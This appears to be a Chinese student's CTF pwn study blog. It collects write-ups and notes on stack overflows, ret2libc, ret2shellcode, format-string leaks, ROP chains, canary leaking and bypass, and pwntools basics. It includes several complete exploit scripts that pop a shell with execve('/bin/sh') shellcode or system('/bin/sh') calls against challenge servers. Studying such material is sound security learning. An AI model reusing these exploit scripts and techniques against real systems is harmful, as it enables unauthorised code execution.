4
5
6
7


ssize_t vulnerable_function()
{
 char buf[136]; // [esp+0h] [ebp-88h] BYREF

 write(1, "Input:\n", 7u);
 return read(0, buf, 0x100u);
}

一个栈溢出漏洞，没有后门和system，用write输出write在got表中地址，利用libc中write和system的差值计算出system的地址，然后ret2system🤗

先在IDA中看got表

readelf读地址，很快

获取libc中的相对位置：找write和system的相对位置0x84c6b，可以用readelf，也可以脚本里的.symbols。算出write和system的相对位置是0x99A80： 0x15902b和0xd43c0为/bin/sh和write的值相差为0x84c6b system与write相差为-0x99A80

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("/home/nan0in/CTF/adworld/level_3/level3")
io=remote("61.147.171.105",61525)
#gdb.attach(io)
elf=ELF("./level3")
libc=ELF("./libc_32.so.6")

write_plt=elf.plt["write"]
write_got=elf.got["write"]
vul_addr=elf.symbols["vulnerable_function"]
main_addr=elf.symbols["main"]

payload=b'0'*136+b'0'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.sendlineafter("Input:\n",payload)
write_addr=u32(io.recv()[:4])

binsh_addr=write_addr+0x84c6b #+libc.symbols["write"]
system_addr=write_addr-0x99A80 #-libc.symbols["system"]
payload_2=b'0'*136+b'0'*4+p32(system_addr)+b'aaaa'+p32(binsh_addr) #payload_2=b'0'*136+b'0'*4+p32(system_addr)+p32(0x1234)随便填充一个system的返回地址+p32(binsh_addr)

io.sendline(payload_2)
io.interactive()

关于一些出的奇异问题

write_addr直接用recv()接收了，实际返回的是字节流，得到write函数的真实地址，32位收到的包长4位，所以用[:4],u32()将字节流转为32位地址

pwn_start

Fri, 27 Dec 2024 15:21:00 +0000

概述

本文介绍个人学习pwn过程中的一些总结，包括常用方法，网上诸多教程虽然有提供完整的exp，但并未解释exp为什么是这样的，比如shellcode写到哪里去了（这关系到跳转地址），ROP链怎么选择的。对于pwn，本人也是新手，其中有总结错误的，欢迎各位大佬指正。

1. PWN常用的基本知识

首先拿到一个PWN程序，可以先使用file命令，判断是32位还是64位。

可以使用objdump读取plt和got表，plt和got网上都有详细的介绍，再此不再赘述。

提一下数据在寄存器中的存放顺序，这个在格式化字符串漏洞中要格外注意，特别是64位，32位的先后顺序是eax->edx->ecx->ebx，64位的先后顺序是rdi->rsi->rdx->rcx->r8->r9。

刚开始学习的时候，个人经常把pop和push经常搞反，因此在此把这两个指令的介绍说一下：push [reg]/[num] 是将reg寄存器中的值或是数字num压入堆栈中, 而pop [reg]是将堆栈栈顶的值弹出到reg寄存器中, 并将这个值从堆栈中删去。

有时候要查看寄存器中的值，可以用到如下命令：

print $esp: 打印esp的值
x/10x $esp：打印出10个从esp开始的值
x/10x $esp-4：打印出10个从偏移4开始的值
x/10gx $esp：以64位格式打印

2.shellcode

生成方式

1、在shellcode数据库网站找一个shellcode，http://shell-storm.org/shellcode/ (当然不止这一个，有时候这上面的shellcode不可以用的话就得考虑一下其他的了，但是shellcode的收集和理解是非常重要的！！)

2、使用pwntools自带的函数如asm(shellcraft.sh())

但有时候不知道shellcode写到哪里去了，在回答这个问题前，要提一下bss段、data段、text段、堆（heap）、栈(stack)的一些区别。

bss段（bss segment）通常是指用来存放程序中未初始化的全局变量的一块内存区域，bss段属于静态内存分配。
data段：数据段（data segment）通常是指用来存放程序中已初始化的全局变量的一块内存区域，数据段属于静态内存分配。
text段：代码段（code segment/text segment）通常是指用来存放程序执行代码的一块内存区域。这部分区域的大小在程序运行前就已经确定，并且内存区域通常属于只读(某些架构也允许代码段为可写，即允许修改程序)。在代码段中，也有可能包含一些只读的常数变量，例如字符串常量等。
堆（heap）：堆是用于存放进程运行中被动态分配的内存段，它的大小并不固定，可动态扩张或缩减。当进程调用malloc等函数分配内存时，新分配的内存就被动态添加到堆上（堆被扩张）；当利用free等函数释放内存时，被释放的内存从堆中被剔除（堆被缩减）。(实际上pwn的赛题大多已经在堆这个数据结构上做文章了)
栈(stack)：栈又称堆栈，是用户存放程序临时创建的局部变量，也就是说我们函数括弧“{}”中定义的变量（但不包括static声明的变量，static意味着在数据段中存放变量）。除此以外，在函数被调用时，其参数也会被压入发起调用的进程栈中，并且待到调用结束后，函数的返回值也会被存放回栈中。由于栈的先进先出(FIFO)特点，所以栈特别方便用来保存/恢复调用现场。学好栈是学好pwn的第一步

以2024 CBCTF的一道ret2shellcode为例

corrupted

With ELF corrupted, opportunity coexists.

VMMAP查看空间，发生可写可执行段刚好在main函数上, 打ret2shellcode

IDA中查看，match函数每次发送八个字节，v4不能大于3，但是当然可以小于0，于是每次输入match函数和verify函数的偏移值，将match函数导向verify函数，然后我们第二次将shellcode打包分块发送过去，这样最后就可以执行完shellcode了，注意每次返回时地址偏移i逐步调整shellcode阶段，shellcode长度22，三次发送足以完成最后exp如下。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


#打ret2shellcode
from pwn import *
from ctypes import *
context(arch='amd64',os='linux',log_level='debug')
#p=process("/home/nanpop/Desktop/pwn/CBCTF/corrupted/corrupted")
p=remote("training.0rays.club",10093)
#gdb.attach(p)
elf=ELF('/home/nanpop/Desktop/pwn/CBCTF/corrupted/corrupted')

shellcode='''
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall
'''
payload=asm(shellcode)

match_addr=elf.symbols['match']
verify_addr=elf.symbols['verify']
in_addr=verify_addr-match_addr #可写段上写入负数并跳转，注意//8，每次读4字节
for i in range(3):
 p.recvuntil("> ")
 p.sendline(str(in_addr//8+i))
 p.sendlineafter(">",str(unpack(payload[i*8:i*8+8],'all')))

p.recvuntil("> ")
p.sendline(str(1))
p.sendlineafter(">",str(1))
p.interactive()

补充

某些时候 shellcode地址的位置其实是一个坑。一般来说是使用gdb调试目标程序，然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上！

原因是gdb的调试环境会影响buf在内存中的位置，虽然我们关闭了ASLR，但这只能保证buf的地址在gdb的调试环境中不变，但当我们直接执行的时候，buf的位置会固定在别的地址上。怎么解决这个问题呢？有两种方法，一种是开启core dump这个功能，另外一种是使用GDB的attach功能。

在exp中直接用gdb.attach(p)，在运行过程中打开动调终端(可以跟网上教程设置tmux，好看还清晰)，然后愉快地动调即可

格式化字符串漏洞

这要讲一下字节序。

大端就是：存储最高有效字节在最小的地址（网络传输文件存储常用）。

小端就是：存储最低有效字节在最小的地址（计算机内部存储）。

记忆：小端就是存储先存最小有效字节，大端就是先存最大有效字节。

printf函数的格式化字符串常见的有 %d，%f，%c，%s（用于读取内存数据），%x（输出16进制数，前面没有0x），%p（输出16进制数，前面带有0x）；%n是不经常用到格式符但是也不能不管(任何编程中会用的工具越多越好，不要想着差生文具多)，它的作用是把前面已经打印的长度写入某个内存地址，用于修改内存，除了%n, 还有%hn，%hhn，%lln，分别为写入目标空间4字节，2字节，1字节，8字节。建议直接上wiki看

(什么你不用wiki？😡)

通俗来说，格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息，调试程序，或者处理字符串。一般来说，格式化字符串在利用的时候主要分为三个部分

1
2
3


格式化字符串函数
格式化字符串
后续参数，可选

用于锁定输入字符串再返回的栈上的地址的发送如下 p.send('AAAA'+'-%p'*10)

AAAA 会占据一个栈帧的位置，且由于格式化字符串漏洞，%p 会从栈上依次打印指针地址，通常这些指针是栈上存储的内容。
每个 %p 打印出的都是栈中的一个位置，通常是指针或数据的地址。

moectf2024 Leak_sth

发现我们在发送之后找到了退出栈的时候的AAAA的地址为第八个，即0x2d70252d41414141，(A对应十六进制41)所以我们要找的V2就是前一个0x5b1ceb6c的位置，即第七位开始发生偏移 EZ EXP:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


from pwn import *
context.log_level='debug'
p=process("/home/nanpop/Desktop/pwn/moectf/leak_sth/pwn")
p.recvuntil(b"name?")
p.send(b"%7$ld\n") # %7$d也行

p.recvuntil("name:\n")
ans=p.recvline()
p.sendafter(b"Give me the number\n",ans)
p.interactive()

3. libc

libc中提供了大量的函数，gdb调试时可直接使用如下命令获取地址，如果未提供，可以去网站http://libcdb.com/下载对应的文件。

可依次执行以下命令，快速getshell。

print system#获取system函数地址。

print __libc_start_main

find 0xb7e393f0, +2200000, "/bin/sh"#获取参数"/bin/sh"的地址

moect2024 这是什么_libc

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


from pwn import *
context(os='linux',arch='amd64')
io=remote("192.168.77.1",63371)
#io=process("/home/nanpop/Desktop/pwn/moectf/libc/prelibc")
libc=ELF("/home/nanpop/Desktop/pwn/moectf/libc/libc.so.6")

io.recvuntil(b"0x")
libc_base=int(io.recv(12),16)-libc.symbols["puts"]
pop_rdi=libc_base+0x002a3e5
ret_add=libc_base+0x029139
system_add=libc_base+libc.symbols['system']
sh_add=libc_base+next(libc.search(b'/bin/sh'))
#ROPgadget --binary path(libc.so.6) --only "pop|ret" | grep rdi
#0x000000000002a3e5 : pop rdi ; ret
#0x0000000000029139 : ret
payload=cyclic(9)+p64(ret_add)+p64(pop_rdi)+p64(sh_add)+p64(system_add)
"""
payload = flat(
 cyclic(9), # 填充栈
 ret_add, # ret gadget
 pop_rdi, # pop rdi gadget
 sh_add, # /bin/sh 字符串的地址
 system_add # system 函数地址
)
"""
"""
libc.address = int(io.recv(12), 16) - libc.sym["puts"]
payload = cyclic(9) + flat([
 libc.search(asm("pop rdi; ret;")).__next__() + 1, # 即 `ret`，用于栈指针对齐
 libc.search(asm("pop rdi; ret;")).__next__(),
 libc.search(b"/bin/sh\x00").__next__(),
 libc.sym["system"],
])
"""
io.sendlineafter(b'>',payload)
io.interactive()

4. ROP

Rop链顺序，首先是跳转地址，比如要调用的内置函数write泄露出system地址，然后是返回地址（如果泄露的地址要重复使用，则返回地址是write地址或者它前面的地址），再就是传递的参数是从右往左入栈。

以ret2syscall为例，一个rop链构造如下：因为要调用execve("/bin/sh",NULL,NULL)，该系统函数的调用号为0xb，因此首先要将0xb给eax寄存器，可使用ROPgadget –binary ret2syscall –only “pop|ret” | grep “eax"进行查找。

因为函数execve有三个参数，接着可以使用命令。

ROPgadget --binary ret2syscall --only "pop|pop|pop|ret" | grep "ebx"，不能选包含esi（esi是下条指令执行地址）或者ebp（栈基址寄存器）。

使ROPgadget --binary ret2syscall --string '/bin/sh'，可查找参数/bin/sh 的地址。

最后再跳转到int 0x80的地址就可执行对应的系统调用，也就是execve函数，可通过ROPgadget --binary ret2syscall --only 'int'，找int 0x80的地址。

编写exp，execve调用syscall即可

5. canary

纳米保护机制，小子

关于保护机制的东西不在这里赘述，这里讲讲经典的canary。 Canary（或栈保护）是一种防止栈溢出攻击的技术，广泛用于现代操作系统和编译器中，以防止攻击者通过覆盖返回地址来劫持程序的控制流。它的核心思想是在栈帧中添加一个"canary”（守护值），并在函数返回时验证它是否被修改。如果守护值被改变，说明栈已经被破坏，程序就会提前退出或执行其他安全措施，从而防止恶意代码的执行。

Canary 实现的基本原理

栈帧布局：在传统的栈帧中，函数的局部变量、保存的返回地址等都会占用栈空间。在启用了栈保护的程序中，栈帧的布局会被修改，在局部变量和返回地址之间插入一个特殊的值，这个值就是 canary。

插入 Canary 值：

当函数被调用时，编译器会自动插入一个随机的 canary 值，这个值通常是随机生成的，并存储在栈中。

Canary 值的插入通常是在栈帧的局部变量和返回地址之间。例如，栈帧可能会如下所示：

1
2
3
4
5
6
7


+-------------------------+
| Local variables |
+-------------------------+
| Canary | ← inserted by the compiler
+-------------------------+
| Return address |
+-------------------------+

栈保护机制会确保这个 canary 值在函数返回时仍然存在，如果攻击者通过栈溢出破坏了栈，这个值就会被覆盖。

保护值验证：
- 在函数返回时，栈保护机制会检查 canary 是否被修改。通常，编译器生成的代码会在函数返回前插入一个验证步骤：
  - 如果 canary 值仍然保持不变，程序就继续执行。
  - 如果 canary 值被修改（说明栈被破坏了），程序会触发异常或调用安全退出函数（例如 __stack_chk_fail()）。
- 这种机制会有效地防止缓冲区溢出攻击，因为攻击者通常无法准确地预测 canary 的值，且如果溢出时不小心修改了 canary，程序就会被终止。
随机化 Canary 值：为了增加攻击者猜测 canary 值的难度，通常会在程序启动时通过一个伪随机数生成器生成一个 canary 值，并在每次运行时使用不同的值。这样，即使攻击者知道某个程序的栈保护方式，他们也无法直接利用已知的 canary 值来发起攻击。
编译器支持：
- GCC 等编译器通常支持通过编译选项启用栈保护（例如 -fstack-protector 或 -fstack-protector-all）。启用栈保护后，编译器会自动在栈帧中插入 canary 值，并在函数返回时进行验证。

Canary 的限制

虽然 Canary 技术提供了一定程度的防护，但它并不是完美的，攻击者依然有可能绕过它。常见的绕过方式包括：

信息泄露：如果程序存在信息泄露漏洞，攻击者可能能够在某些情况下泄露出 canary 值，从而绕过栈保护。
堆溢出或其他攻击方式：虽然 canary 保护栈溢出，但它并不防止其他类型的溢出（例如堆溢出），攻击者可能通过这些方式进行攻击。

泄露Canary地址

一开始看各种题目的wp没看明白canary地址泄露的原理，在做了几道之后加以总结一下泄露的方法：

moectf2024 catch_the_canary

函数空间分配如上，最后read的时候要覆盖0x30字符，但是buf只分配了24个字符空间，所以在24字节后会覆盖到canary上而发生错误，我们发送25个字节覆盖掉’\x00’泄露出后7位canary地址然后塞到payload里就行了——注意袄32位程序是4字节的 exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


from pwn import *
context.log_level='debug'
#io=process("/home/nanpop/Desktop/pwn/moectf/the_canary/mycanary")
io=remote("192.168.77.1",64762)
#backdoor=0x4012A8直接跳过push rbp使指针对齐
backdoor=0x4012ad
#爆破16768186u--16777214
io.recvuntil(b'd.')
for i in range(0x00ffdcba,0x1000000):
 io.sendline(str(i).encode())
 rec=io.recvuntil('.\n')
 if b'[Info] Cage opened.\n'==rec:
 break

io.sendlineafter(b't.\n',b'-') #scanf输入-+绕过读取
io.sendline(b'1')
io.sendline(b'195874819')

"""
io.sendlineafter(b'Stop it!\n',b'A'*25)
canary=b'\x00'+io.recvn(7)#canary以字节\x00结尾，据此泄露出8位canary地址
io.send(cyclic(24)+canary+cyclic(8)+p64(backdoor))
"""
io.send(cyclic(25)) #buf区可以放24个字符，所以我们的第25个字符会刚好覆盖'\x00', 后七位就是canary地址
io.recvuntil('g')
canary = b'\x00' + io.recvn(7)
io.send(cyclic(24) + canary + cyclic(8) + p64(backdoor))
io.interactive()

⭐canary的绕过

canary有三种写法，施主是否知道╰(°▽°)╯

模拟 32 位环境下 canary 有效大小仅三字节，可以爆破。（实际场景是新开线程，新线程与主线程 canary 一致，新线程崩溃不导致主线程崩溃。）
第二种：输入时跳过 canary。例如 scanf 在读取数字时，输入 + 或 - 可跳过输入。(moectf2024)
通过溢出读取填满 canary 的首空字节再输出从而泄漏 canary。

早期博客

Wed, 02 Oct 2024 16:02:31 +0800

ps: 在西电终端复盘时发现的一个自己的很弱智的错误：用websocket连接时，忘记修改返回netcat的ip设置导致使用的是127.0.0.1：本机回环地址，只能在本机使用。所以一直无法连接上有线环境而用wscat进行连接，结果就是nc没搞明白，一直以为是自己的问题。修改成192.168.77.1，就可以连接上了。

下载之类的在这里就先不提了，相信很多人在刚开始学的时候会因为没有引导和庞大的信息量而不知所措，之后我会边学边试着整理一些pwn和re的学习笔记，早期写好的博客有一些可能不会放过来，有兴趣的也可以留言讨论。

使用pwntools连接：

做pwn题过程中，有时会有需要发送一些特殊数值，这些数值无法使用键盘输入，又或是需要填充大量的字符，这时就需要使用脚本来代替我们发送payload。常用的pwn工具库就是pwntools，是一个python库。这个库既可以在本地启动进程来调试攻击脚本，又可以连接远程服务器进行攻击。

我们可以在本地调试：

1
2
3
4
5


from pwn import *
p = process("./filename") # 传入参数为题目的二进制文件。
p.sendline(b'\x00') # python3 版本的pwntools限定了传入参数为byte类型，即发送字
符串时需要在字符串前面加上前缀b。
p.interactive() # 切换为手动交互模式，即通过键盘输入输出。否则进程会直接退出。

远程连接与攻击：

1
2
3
4


from pwn import *
p = remote("120.0.0.1", 80) # 传入参数为题目的远程环境的地址和端口。
p.sendline(b'\x00')
p.interactive()

pwntools的一些常用发送函数：

send(str: byte) # 仅仅将str发送出去
sendline(str: byte) # 在str后面加一\n再发送
sendafter(str1: byte, str2: byte) # 后面两个函数在接收到str1后，再发送str2，发送部分和上面两个一样,我比较习惯用下面的sendlineafter函数 sendlineafter(ste1: byte, str2: byte)

字节串：

字节串的定义字节串通过在字符串前加上小写字母 b 来定义，例如： python

1
2


b'hello' # 字节串 'hello'
b'\x01\x02\x03' # 一个包含字节数据的字节串

recvuntil函数：

用法：recvuntil函数通常需要指定一个套接字作为输入参数，以及一个分隔符或长度作为接收数据的终止条件。例如，recvuntil(sock, ‘AAA’)会从套接字sock中接收数据，直到接收到字符串AAA为止。怎么用呢？我们可以用recvuntil函数来接收数据，直到接收到分隔符为止。这在某些pwn题中运行脚本很有用

recvline函数方法：

.recvline() 方法 recvline() 方法用于从目标程序（如远程服务、管道、或本地进程）接收一行数据，并且自动处理行的结束符（例如换行符 \n）。这对于读取包含换行符的响应非常有用，因为它可以确保你接收到的是完整的一行数据，而不是部分数据。具体来说，recvline() 会：从连接中接收数据，直到遇到换行符（\n）为止。返回接收到的数据（去除换行符）。

cyclic函数方法：

cyclic() 的作用 cyclic() 函数会生成一个包含连续递增字节的字节串，常常用于模拟程序的输入，以确定溢出发生的位置。这个字节串的模式是非常特殊的，通常包含了易于辨认的递增字节，可以帮助攻击者找到覆盖返回地址所需的精确字节偏移量。

如何使用 cyclic() cyclic() 生成的字节串是为了帮助你确定栈上的溢出偏移量，通常与其他攻击步骤（如定位返回地址）结合使用。

1
2
3
4
5


from pwn import *

# 生成一个长度为 100 字节的字节串
payload = cyclic(100)
print(payload)

确定溢出偏移量通常，cyclic() 用于测试缓冲区溢出时，帮助攻击者确定溢出发生的确切位置。

假设你有一个程序，在接收输入时，程序会在栈上分配一个缓冲区。如果你向这个缓冲区发送的数据超出了缓冲区的大小，它就会覆盖栈中的其他数据，尤其是返回地址。通过观察溢出的数据，你可以确定栈上溢出发生的位置。

比如，程序的缓冲区大小为 100 字节，而你希望覆盖返回地址（通常是紧随缓冲区之后的位置）。你可以先发送一个由 cyclic() 生成的 100 字节的字节串，程序崩溃时，gdb 调试器会帮助你分析溢出发生的位置。

线程私有	线程之间共享
局部变量	全局变量
函数参数	堆上数据
TLS数据	函数里的静态变量
	程序代码
	打开的文件，例如A打开的由B读写

study on Nan0inPsyLog

剖析ret2dlresolve

ret2dlresolve

ret2libc之后的进阶，动态链接的深入了解

延迟绑定技术

关键段落

_dl_fixup

_dl_runtime_resolve函数运作流程

dynamic段落

动态符号表(Dynamic Symbol Table)

动态符号字符串表(Dynamic String Table)

_dl_runtime_resolve的运行模式总结

测试

32位

调试

倒推过程

寻找.dynstr首地址

.dynstr相对的偏移怎么找

漏洞

利用

step1-重构造read

step2 模拟plt表的绑定过程

step3 伪造reloc_index

step4 伪造.dynsym

step5 伪造dynstr

64位

可能的问题

在_dl_fixup函数中报错了？

NO RELRO的情况下需要修改DYNAMIC段的指针，而IDA中该指针位于IDA看不到的地方，怎么办？

参考链接

Computing101 collections

computing 101

hello hackers

writing output

chaining syscalls

assemble crash course

4 linear-equatation-registers

5 interger-division

x86除法指令的特殊性

6 modulo-operation

7 set upper byte

8 efficient modulo

9 byte-extraction

10 bitwise and

11 check even

12 memory read-14 memory increment

关于解析指针所在位置字节

15 memory size access

16 little-endian-write

17 memory-sum

18 stack-subtraction

19 swap-stack-value

20 average-stack-values

21 absolute jump

22 relative jump

23 jump-trampoline

24 conditional-jump

25 indirect jump

26 average-loop

27 count no-zero

28 string-lower

29 most-common-byte

gdb

level 4

level5

level8

webserver

exit

socket

bind

Listen

accept

static response

dynamic response

可迭代的(Iterative)GET Server

concurrent GET Server

concurrent POST Server

Web Server

南大PA 0 1小记

C++期末大复习😁

寻找`.dynstr`首地址

数组指针